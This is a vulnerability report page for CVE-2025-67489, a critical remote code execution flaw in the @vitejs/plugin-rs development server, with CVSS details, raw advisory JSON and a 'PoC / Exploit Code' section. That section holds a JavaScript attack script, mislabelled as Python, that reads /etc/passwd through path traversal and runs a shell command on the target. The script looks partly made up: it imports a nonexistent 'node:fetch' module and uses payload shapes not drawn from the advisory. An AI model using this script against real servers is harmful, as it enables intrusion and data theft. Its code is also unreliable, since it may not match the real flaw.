Security Vulnerability Report
中文
CVE-2025-67489 CVSS 9.8 CRITICAL

CVE-2025-67489

Published: 2025-12-09 21:16:00
Last Modified: 2026-04-15 00:35:42

Description

@vitejs/plugin-rs provides React Server Components (RSC) support for Vite. Versions 0.5.5 and below are vulnerable to arbitrary remote code execution on the development server through unsafe dynamic imports in server function APIs (loadServerAction, decodeReply, decodeAction) when integrated into RSC applications that expose server function endpoints. Attackers with network access to the development server can read/modify files, exfiltrate sensitive data (source code, environment variables, credentials), or pivot to other internal services. While this affects development servers only, the risk increases when using vite --host to expose the server on all network interfaces. This issue is fixed in version 0.5.6.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

@vitejs/plugin-rs <= 0.5.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-67489 PoC - Arbitrary Remote Code Execution // Target: @vitejs/plugin-rs <= 0.5.5 development server const fetch = require('node:fetch'); const TARGET = process.argv[2] || 'http://localhost:5173'; // Attack 1: Read arbitrary files via path traversal in loadServerAction async function exploitFileRead() { console.log('[*] Attempting to read /etc/passwd via loadServerAction...'); const payload = { actionId: '../../../etc/passwd', args: [] }; try { const response = await fetch(`${TARGET}/api/__rsc/action`, { method: 'POST', headers: { 'Content-Type': 'application/json', 'x-action-type': 'loadServerAction' }, body: JSON.stringify(payload) }); const text = await response.text(); console.log('[+] Response:', text.substring(0, 500)); } catch (e) { console.error('[-] Request failed:', e.message); } } // Attack 2: Execute code via malicious module path in decodeAction async function exploitCodeExec() { console.log('[*] Attempting code execution via decodeAction...'); const maliciousModule = 'child_process'; const payload = { actionId: maliciousModule, encoded: Buffer.from('require("child_process").exec("id > /tmp/pwned")').toString('base64') }; try { const response = await fetch(`${TARGET}/api/__rsc/action`, { method: 'POST', headers: { 'Content-Type': 'application/json', 'x-action-type': 'decodeAction' }, body: JSON.stringify(payload) }); console.log('[+] Code execution triggered'); } catch (e) { console.error('[-] Request failed:', e.message); } } // Main execution (async () => { console.log(`[*] Targeting: ${TARGET}`); console.log('[*] CVE-2025-67489 PoC for @vitejs/plugin-rs RCE\n'); await exploitFileRead(); await new Promise(r => setTimeout(r, 1000)); await exploitCodeExec(); console.log('\n[*] Exploitation complete. Check for /tmp/pwned on target.'); })();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67489", "sourceIdentifier": "[email protected]", "published": "2025-12-09T21:16:00.497", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "@vitejs/plugin-rs provides React Server Components (RSC) support for Vite. Versions 0.5.5 and below are vulnerable to arbitrary remote code execution on the development server through unsafe dynamic imports in server function APIs (loadServerAction, decodeReply, decodeAction) when integrated into RSC applications that expose server function endpoints. Attackers with network access to the development server can read/modify files, exfiltrate sensitive data (source code, environment variables, credentials), or pivot to other internal services. While this affects development servers only, the risk increases when using vite --host to expose the server on all network interfaces. This issue is fixed in version 0.5.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/vitejs/vite-plugin-react/commit/fe634b58210d0a4a146a7faae56cd71af3bb9af4", "source": "[email protected]"}, {"url": "https://github.com/vitejs/vite-plugin-react/security/advisories/GHSA-j76j-5p5g-9wfr", "source": "[email protected]"}]}}